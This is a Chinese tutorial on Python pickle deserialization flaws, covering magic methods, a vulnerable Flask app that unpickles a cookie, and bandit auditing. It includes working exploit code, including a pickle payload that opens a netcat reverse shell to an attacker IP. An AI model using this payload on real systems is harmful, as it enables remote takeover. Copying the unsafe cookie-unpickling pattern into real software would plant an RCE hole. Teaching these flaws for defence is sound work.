1. 程式人生 > 其它 >python 反序列化

python 反序列化

Python-反序列化函式使用

pickle.dump(obj, file) : 將物件序列化後儲存到檔案

pickle.load(file) : 讀取檔案, 將檔案中的序列化內容反序列化為物件

pickle.dumps(obj) : 將物件序列化成字串格式的位元組流

pickle.loads(bytes_obj) : 將字串格式的位元組流反序列化為物件

魔術方法:

reduce() 反序列化時呼叫

reduce_ex() 反序列化時呼叫

setstate() 反序列化時呼叫

getstate() 序列化時呼叫

各類語言函式:

Java: Serializable Externalizable介面、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等

PHP: serialize()、 unserialize()

Python:pickle marshal PyYAML shelve PIL unzip

案例一:

import pickle

import os

\#反序列化魔術方法呼叫-__reduce__() __reduce_ex__() __setstate__()

class A(object):

def __reduce__(self):

print('反序列化呼叫')

return (os.system,('calc',))

a = A()

p_a = pickle.dumps(a)

pickle.loads(p_a)

print('==========')

print(p_a)

案例二:

class SerializePerson():

def __init__(self, name):

self.name = name

\# 構造 __setstate__ 方法

def __setstate__(self, name):

os.system('calc') # 惡意程式碼

tmp = pickle.dumps(SerializePerson('tom')) #序列化

pickle.loads(tmp) # 反序列化 此時會彈出計算器

Python-反序列化POP鏈構造

#CTF-反序列化漏洞利用-構造&RCE

環境介紹:利用Python-flask搭建的web應用,獲取當前使用者的資訊,進行展示,在獲取使用者的資訊時,通過對使用者資料進行反序列化獲取導致的安全漏洞!

-Server伺服器:

import pickle

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

username = user["username"]

except:

username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":

app.run(

host='192.168.1.3',

port=5000,

debug=True

)

-Hacker伺服器:

import requests

import pickle

import os

import base64

class exp(object):

def __reduce__(self):

s='c:/nc.exe -e cmd 192.168.46.137 6666'

return (os.system, (s,))

e = exp()

s = pickle.dumps(e)

print(s)

response = requests.get("http://192.168.1.3:5000/", cookies=dict(

user=base64.b64encode(s).decode()

))

print(response.content)

Python-自動化審計bandit使用

參考:https://bandit.readthedocs.io/

安裝:pip install bandit

linux:

安裝後會在當前Python目錄下bin

使用:bandit -r 需要審計的原始碼目錄

windows:

安裝後會在當前Python目錄下script

使用:bandit -r 需要審計的原始碼目錄